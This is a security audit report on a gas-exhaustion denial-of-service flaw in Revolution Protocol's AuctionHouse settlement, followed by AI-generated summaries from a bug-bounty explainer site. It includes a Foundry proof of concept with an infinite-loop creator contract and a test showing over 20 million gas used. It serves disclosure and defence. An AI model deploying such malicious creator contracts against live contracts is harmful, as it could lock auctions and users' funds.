It may be possible to DoS AuctionHouse by specifying malicious creators
A user who creates an art piece can specify up to 100 malicious creator contracts whose receive functions consume gas, causing the auction settlement function to use over 20 million gas. This could lead to a denial of service if the block gas limit is reduced or gas costs increase, as settlement would exceed the block gas limit.
Submitted by bart1e, also found by bart1e, Udsen, shaka, deth, 0xDING99YA, peanuts, 0xAsen, 00xSEV, nmirchev8, ke1caM, Timenov, _eperezok, and fnanni
Note: there is another bug in AuctionHouse::_settleAuction that causes DoS (querying verbs.getArtPieceById too many times), but this submission describes another issue and from now on, I assume that verbs.getArtPieceById is not called in loop in _settleAuction.
Brief Description
Malicious user can specify creators of art piece maliciously, so that AuctionHouse::_settleAuction will use over 20 000 000 gas units, which is close to the block gas limit (30 000 000). If block gas limit is ever decreased in the future or the cost of some operations in EVM increase, this will put AuctionHouse in the permanent DoS state as _settleAuction will attempt to use more gas than the block gas limit.
Detailed description
User who calls CultureIndex::createPiece can specify up to 100 arbitrary creators, who will get paid if the created piece wins voting and is bought in an auction. The function handling that is called _settleAuction and looks like this:
function _settleAuction() internal {
[...]
else verbs.transferFrom(address(this), _auction.bidder, _auction.verbId);
[...]
//Transfer creator's share to the creator, for each creator, and build arrays for erc20TokenEmitter.buyToken
if (creatorsShare > 0 && entropyRateBps > 0) {
for (uint256 i = 0; i < numCreators; i++) {
[...]
//Transfer creator's share to the creator
_safeTransferETHWithFallback(creator.creator, paymentAmount);
}
}
//Buy token from ERC20TokenEmitter for all the creators
if (creatorsShare > ethPaidToCreators) {
creatorTokensEmitted = erc20TokenEmitter.buyToken{ value: creatorsShare - ethPaidToCreators }(
vrgdaReceivers,
vrgdaSplits,
IERC20TokenEmitter.ProtocolRewardAddresses({
builder: address(0),
purchaseReferral: address(0),
deployer: deployer
})
);
}
}
}
[...]
As can be seen, it performs several external transactions. The most important are (I purposely ignore verbs.getArtPieceById here as the issue addresses malicious creators only):
_safeTransferETHWithFallback(creator.creator, paymentAmount)creatorTokensEmitted = erc20TokenEmitter.buyToken
In order to make _settleAuction as costly as possible, attacker can do several things:
- Specify as many creators as possible (
100). - Consume as much gas as possible in
receive()of all of these creators. - Make each creator different, so that
ssetoperations performed later in the code change0to nonzero entries (so that it costs20000per word instead of2900, forsreset).
Since _safeTransferETHWithFallback specifies 50 000 gas in a call, each such call will cost > 50 000 + 9 000 = 59 000 gas (9 000 for callvalue operation). Since the number of creators can be 100, it will use over 5 900 000 gas by itself (including cost for converting ETH to WETH and sending it each time).
I will not analyse each memory reads and writes here (I tried to specify the most important places in the “Links to affected code” section of this submission), but another “heavy” function, in terms of gas usage is erc20TokenEmitter.buyToken as it will update users’ balances (change from 0 to nonzero) and the same will happen for their voting power.
From the tests I have made (see PoC), it follows that attacker can cause settleCurrentAndCreateNewAuction (that calls _settleAuction) to use over 20 000 000 gas units.
Impact
If the attack is able to cause _settleAuction to reach block gas limit, AuctionHouse will be DoSed as it won’t be possible to settle auctions.
While it’s not the case at the moment (attacker can now reach 20 000 000), I will now demonstrate why it’s problematic even right now:
- Ethereum / Base / Optimism block gas limit can change in the future; if it’s decreased, it will be possible to DoS
AuctionHouse - EVM operations’ cost can change - it is not a hypothetical scenario: for example the cost of
sloadincreased from50to2100(or100in case of warm access) from the frontier hardfork (see frontier and shanghai)
Since EVM operations’ gas cost increase is a real scenario that has happened in the past and the end effect is severe (DoS of AuctionHouse), but the attack is:
- Not yet possible (it is in fact possible combined with another exploit of specifying a very “heavy” NFT that I will describe in another submission, not to mention the bug about calling
getArtPieceByIdthat I mentioned earlier), but it will already harm user who calls_settleAuctionas he will have to pay a lot for the gas. - In order for the attack to be performed, attacker would have to win the voting first.
Hence, I believe that Medium severity is appropriate for this issue.
Proof of Concept
First of all, please modify the code in the AuctionHouse::_settleAuction in the following way:
- Replace
ICultureIndex.CreatorBps memory creator = verbs.getArtPieceById(_auction.verbId).creators[i];withICultureIndex.CreatorBps memory creator = artPiece.creators[i];. - Put
ICultureIndex.ArtPiece memory artPiece = verbs.getArtPieceById(_auction.verbId);right beforeif (creatorsShare > 0 && entropyRateBps > 0) {.
It is a fix for another bug that is in the _settleAuction and since this submission describes another attack vector, we have to fix it first (as otherwise it won’t be possible to calculate precisely the impact of the described attack).
Then, please put the following contract definition in AuctionSettling.t.sol:
contract InfiniteLoop
{
receive() external payable
{
while (true)
{
}
}
}
Then, please put the following code in AuctionSettling.t.sol and run the test (import "forge-std/console.sol"; will be needed as well):
// this function creates an auction and wait for its finish
// if `toDoS` is true, it will create `100` creators and each creator will be a malicious contract that will
// run an infinite loop in its `receive()`
// if `toDoS` is false, it will create only `1` "honest" creator
function _createAndFinishAuction(bool toDoS) internal
{
uint nCreators = toDoS ? 100 : 1;
address[] memory creatorAddresses = new address[](nCreators);
uint256[] memory creatorBps = new uint256[](nCreators);
uint256 totalBps = 0;
address[] memory creators = new address[](nCreators + 1);
for (uint i = 0; i < nCreators + 1; i++)
{
if (toDoS)
creators[i] = address(new InfiniteLoop());
else
creators[i] = address(uint160(0x1234 + i));
}
for (uint256 i = 0; i < nCreators; i++) {
creatorAddresses[i] = address(creators[i]);
if (i == nCreators - 1) {
creatorBps[i] = 10_000 - totalBps;
} else {
creatorBps[i] = (10_000) / (nCreators - 1);
}
totalBps += creatorBps[i];
}
uint256 verbId = createArtPieceMultiCreator(
"Multi Creator Art",
"An art piece with multiple creators",
ICultureIndex.MediaType.IMAGE,
"ipfs://multi-creator-art",
"",
"",
creatorAddresses,
creatorBps
);
vm.startPrank(auction.owner());
auction.unpause();
vm.stopPrank();
uint256 bidAmount = auction.reservePrice();
vm.deal(address(creators[nCreators]), bidAmount + 1 ether);
vm.startPrank(address(creators[nCreators]));
auction.createBid{ value: bidAmount }(verbId, address(creators[nCreators]));
vm.stopPrank();
vm.warp(block.timestamp + auction.duration() + 1); // Fast forward time to end the auction
}
function testDOS() public
{
uint gasConsumption1;
uint gasConsumption2;
uint gas0;
uint gas1;
vm.startPrank(cultureIndex.owner());
cultureIndex._setQuorumVotesBPS(0);
vm.stopPrank();
_createAndFinishAuction(true);
gas0 = gasleft();
auction.settleCurrentAndCreateNewAuction();
gas1 = gasleft();
// we calculate gas consumption in case of `100` malicious creators
gasConsumption1 = gas0 - gas1;
_createAndFinishAuction(false);
gas0 = gasleft();
auction.settleCurrentAndCreateNewAuction();
gas1 = gasleft();
// we calculate gas consumption in case of `1` "honest" creator
gasConsumption2 = gas0 - gas1;
console.log("Gas consumption difference =", gasConsumption1 - gasConsumption2);
}
It will output a value ~20 500 000 as a gas difference between the use with one “honest” creator and 100 malicious creators when settleCurrentAndCreateNewAuction is called.
Tools Used
VS Code
Recommended Mitigation Steps
Consider limiting the number of creators that may be specified.
Alternatively, don’t distribute ETH and ERC20 tokens to creators in _settleAuction - instead let them receive their rewards in a separate function (for example, called claimRewards), that one of them will call, independently from _settleAuction.
See comment on primary issue: https://github.com/code-423n4/2023-12-revolutionprotocol-findings/issues/195#issuecomment-1879684718
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The settlement function loops over an unbounded number of creators and performs external calls and storage writes for each, allowing gas usage to grow with the number of creators.
Impact
If the block gas limit is decreased or EVM gas costs increase, settlement could exceed the block gas limit, permanently denying service to the AuctionHouse; currently the attack reaches about 20 million gas, below the 30 million limit.
What the attacker needed
Attacker must win the voting for the art piece; attacker must create an art piece with many malicious…
The fix
Limit the number of creators that can be specified, or move reward distribution to a separate claim function so settlement does not loop over creators.
How it was found
- Create an art piece with 100 malicious creator contracts that consume gas in their receive function.
- Ensure the piece wins voting and is bought in an auction.
- When the auction is settled, the settlement function calls each creator, consuming over 20 million gas.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When an auction ends, the smart contract pays each creator of the artwork. An attacker can list many fake creators that waste gas when paid. If the total gas needed to pay everyone exceeds the block gas limit, the auction can never be settled, locking funds.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.